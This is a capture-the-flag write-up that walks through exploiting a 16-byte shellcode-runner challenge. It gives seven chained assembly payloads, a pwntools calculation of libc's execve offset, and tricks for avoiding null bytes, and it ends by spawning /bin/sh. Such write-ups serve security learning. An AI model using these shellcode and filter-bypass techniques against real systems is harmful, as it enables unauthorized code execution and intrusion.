Everything about security

This program will execute any arbitrary code you give it! Well, almost any — it prohibits syscalls, and only gives you 16 bytes of space. These incredible security features were added at the last minute to ensure nobody can read any secrets hidden on the server. Prove them wrong and get the flag. Download the source and binary.

The program reads up to 16 bytes first. Then, it checks for system calls and jumps/call to the dynamic addresses. If the code does not contain any system calls and dynamic addresses, it gets mapped to a new allocated memory which is read-only and executable. Then, 0xC3 is appended to our input which is the RETN instruction. Finally, our input gets executed.

If there were no limitations, we could easily enter a shellcode as input and would get an interactive shell. However, we have some obstacles here. First one is the length limitation. 16 bytes are not enough for us, so we need to find a way to execute more bytes. In order to overcome this, I decided to use return-oriented programming to call the code_runner again. You might think that there is a check with the boolean variable called executing. It gets set to true before our code gets executed, so you might say that it won’t execute our code next time, but you are wrong. That would be the case if it was a global variable. However, it is a local variable and gets initialized everytime we enter the code_runner. So, it will be always zero. We will also skip over the

1

2

pushrbp

movrbp,rsp

part to not mess with the rbp such that we will be using the same local variables all the time. Now, we also need a way to save the results we find each time our code gets executed. We can make use of the stack, but also we may make use of even some registers!

If you carefully check the disassembled code, you will see that rbx, r12, and r11 are never modified from the start of the code_runner to call rdx. However, when I checked with debugger, I noticed that r11 gets modified. Probably, some of the calls modify it. Still, we have two registers to save our results.

Let’s move on to next obstacle which is not being able to make system calls. We can handle this issue with reading a libc offset from the stack and adding/substracting some value to/from that address to get the execve function’s address.

This brings out the next issue that we are unable to use both 0x00 and 0xFF in our inputs. However, we can do some mathematical tricks to overcome this issue. You will understand what I mean as we move forward.

Let’s first clarify what we really want to achieve. This is the code we’d love to execute.

1

2

3

4

5

6

7

xorrdx,rdx

xorrsi,rsi

movrdi,"/bin//sh"

pushrdx

pushrdi

leardi,[rsp]

callexecve

Since, I will calculate offsets for libc, I connected to ssh and downloaded their libc-2.23.so file.

Let’s put a breakpoint on memcpy call to get the destination address for our code.

We have __libc_start_main+240 at offset 128. We can use this address to calculate the address of execve.

Let’s check the address of code_runner, so that we can start writing our payloads.

1

2

3

4

5

6

7

8

9

10

0x0000000000400996<+0>:pushrbp

0x0000000000400997<+1>:movrbp,rsp

0x000000000040099a<+4>:subrsp,0x40

0x000000000040099e<+8>:movrax,QWORDPTRfs:0x28

0x00000000004009a7<+17>:movQWORDPTR[rbp-0x8],rax

0x00000000004009ab<+21>:xoreax,eax

0x00000000004009ad<+23>:movBYTEPTR[rbp-0x3d],0x0

0x00000000004009b1<+27>:movedi,0x400c48

0x00000000004009b6<+32>:moveax,0x0

0x00000000004009bb<+37>:call0x4007f0<printf@plt>

As I mentioned above, we will skip the first a few lines of the function. We will jump right below the stack canary initialization. So, our target address is 0x4009ab

In our first payload, we will put the code_runner’s address to r12 for future calls. However, 0x004009ab include a 0x00 byte which we cannot use since it would cause fgets to stop reading the rest of our input. In order to solve this issue we will assign 0x4009ab11 to a register. Then, we will shift that register to right by 8 bits. Thus, that register will have the value 0x4009ab.

We will start each payload with pop rcx to get rid of the original return address from the stack to prevent stack from getting corrupted.

p1.asm

Assembly (x86)

1

2

3

4

5

6

7

8

global_start

_start:

poprcx

moveax,0x4009ab11

shreax,8

pushrax

popr12

pushrax

Now, we stored code_runner‘s address in r12 and also replaced the return address with it. Let’s move on to our second payload.

p2.asm

Assembly (x86)

1

2

3

4

5

6

7

8

global_start

_start:

poprcx

push15

poprax

shlrax,3

movrbx,[rsp+rax]

pushr12

Remember that our libc address was at offset 128, but we popped an address first so its new offset became 120. Here we set rax to 15 and then shifted it to left by 3 bits. Finally, we had read the libc address to rbx using rax as the offset. Finally, we pushed the code_runner‘s address again.

Now, we need to calculate the offset for execve using the libc file that we got from their server.

1

2

3

4

5

6

7

8

>>>frompwn import*

>>>libc=ELF('libc-2.23.so')

>>>libc.sym['execve']-(libc.sym['__libc_start_main']+240)

704320

>>>hex(704320)

'0xabf40'

>>>hex(0xabf40+0x11111111)

'0x111bd051'

The offset is 0x000abf40 but this also include 0x00 byte. Therefore, we need a trick. Instead of adding 0x000abf40 to rbx, we will first substract 0x11111111 from rbx and then we will add 0x111bd051 to rbx which does not contain any null bytes.

Here is our next payload.

p3.asm

Assembly (x86)

1

2

3

4

5

global_start

_start:

poprcx

subrbx,0x11111111

pushr12

We just substracted 0x11111111 from rbx.

p4.asm

Assembly (x86)

1

2

3

4

5

6

global_start

_start:

poprcx

addrbx,0x111bd051

pushrbx

pushr12

Now, we added rbx to 0x111bd051 and rbx contains the address of execve. Since, I we will use rbx to store “/bin//sh” in the next payload, we saved the execve‘s address to the stack as well.

p5.asm

Assembly (x86)

1

2

3

4

5

global_start

_start:

poprcx

movrbx,"/bin//sh"

pushr12

We set rbx to “/bin//sh”.

p6.asm

Assembly (x86)

1

2

3

4

5

6

7

8

9

10

global_start

_start:

poprcx

poprdx

pushrax

pushrbx

pushrsp

poprbx

pushrdx

pushr12

Here, we saved the execve‘s addres to rdx first, because we wouldn’t be able to pop it back if we pushed “/bin//sh” top of it. I noticed that rax is always 0 when our function is called. Therefore, I pushed rax and rbx to the stack respectively to create the “/bin//sh” string with null byte at the of it on the stack. Then, push rsp and pop rbx instructions assigned the “/bin//sh” string’s address to the rbx. Then, we again stored execve in the stack and called one more time code_runner.

p7.asm

Assembly (x86)

1

2

3

4

5

6

7

global_start

_start:

poprcx

cdq

pushrbx

poprdi

xorrsi,rsi

The cdq instruction clears rdx which is the second parameter of execve. Then, we assign “/bin//sh” string’s pointer to rdi which is the first parameter of the execve and finally we clear rsi which is the third parameter of the execve. Remember that execve’s address is now at the top of the stack. Therefore, with the last return we will succeed to call execve(“/bin//sh”, NULL, NULL).